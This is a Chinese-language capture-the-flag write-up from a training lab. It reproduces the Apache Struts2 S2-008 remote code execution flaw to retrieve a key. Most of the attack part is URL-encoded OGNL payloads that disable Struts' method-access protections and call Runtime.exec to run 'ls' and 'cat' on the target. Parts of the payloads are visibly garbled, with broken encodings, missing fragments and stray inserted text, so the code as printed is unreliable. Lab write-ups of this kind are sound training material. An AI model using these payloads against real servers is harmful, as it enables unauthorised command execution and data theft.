墨者学院-ApacheStruts2远程代码执⾏漏洞(S2-008)复现
Apache Struts2远程代码执⾏漏洞(S2-008)复现
难易程度:★★
题⽬类型:命令执⾏
使⽤⼯具:FireFox浏览器、360安全浏览器
漏洞原理:为了防⽌攻击者在参数中调⽤任意⽅法,标志xwork.MethodAccessor.denyMethodExecution被设置为true,并且SecurityMemberAccess字段默认allowStaticMethodAccess设置为false。为了防⽌对上下⽂变量的访问,在ParameterInterceptorStruts2.2.1.1中应⽤了改进的参数名称⽩名单。
1.打开靶场,搜索⼀下S2-008的漏洞原理。
2.构造poc,执⾏命令ls,查看⽂件。
debug=command&expression=%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C% 23f%3D%Class().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true) 下载apache
%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22ls%22).getInp utStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)% 2C%23d%3Dnew%20char%5B50000%5D%ad(%23d)%2C%23genxor%(%22com.opensymph ony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23 genxor.close()
3.访问/s2_008+poc,到⽂件。
4.执⾏命令cat /
debug=command&expression=%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C% 23f%3D%Class().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true) %2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22cat%27%2C% 27.%%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io .BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%ad(%23d)%2C%23genxor%3D%23context .get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C% 23genxor.flush()%2C%23genxor.close()
在Firefox中访问⽹页,竟返回null。
打开新窗⼝重新访问也是返回null。
最终使⽤360安全浏览器访问,跳出下载⽂件,打开⽂件获取key。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论